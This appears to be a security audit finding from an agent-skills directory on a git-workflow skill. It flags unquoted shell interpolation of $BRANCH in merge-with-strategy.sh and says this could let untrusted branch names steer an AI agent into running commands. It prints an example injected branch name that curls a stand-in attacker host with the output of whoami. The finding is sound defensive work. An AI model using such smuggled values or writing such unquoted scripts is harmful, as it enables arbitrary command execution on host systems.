The Agent Skills Directory

[COMMAND_EXECUTION] (HIGH): Shell command injection vulnerability in the provided merge-with-strategy.sh script. The variable $BRANCH is interpolated directly into multiple git commands (e.g., git merge --squash origin/$BRANCH and git push origin -d $BRANCH) without shell quoting or sanitization. If an AI agent uses this script to automate workflows on external or untrusted repositories, an attacker could provide a malicious branch name containing shell metacharacters (e.g., feature; curl http://attacker.com/$(whoami)) to execute arbitrary commands on the host system.\n- [INDIRECT_PROMPT_INJECTION] (HIGH): The skill exhibits a dangerous vulnerability surface by processing untrusted external data (git branch names) and passing them directly to powerful system capabilities (shell/git commands). There are no boundary markers or sanitization logic present to prevent instructions embedded in metadata like branch names from influencing the execution environment.

git-workflow-strategy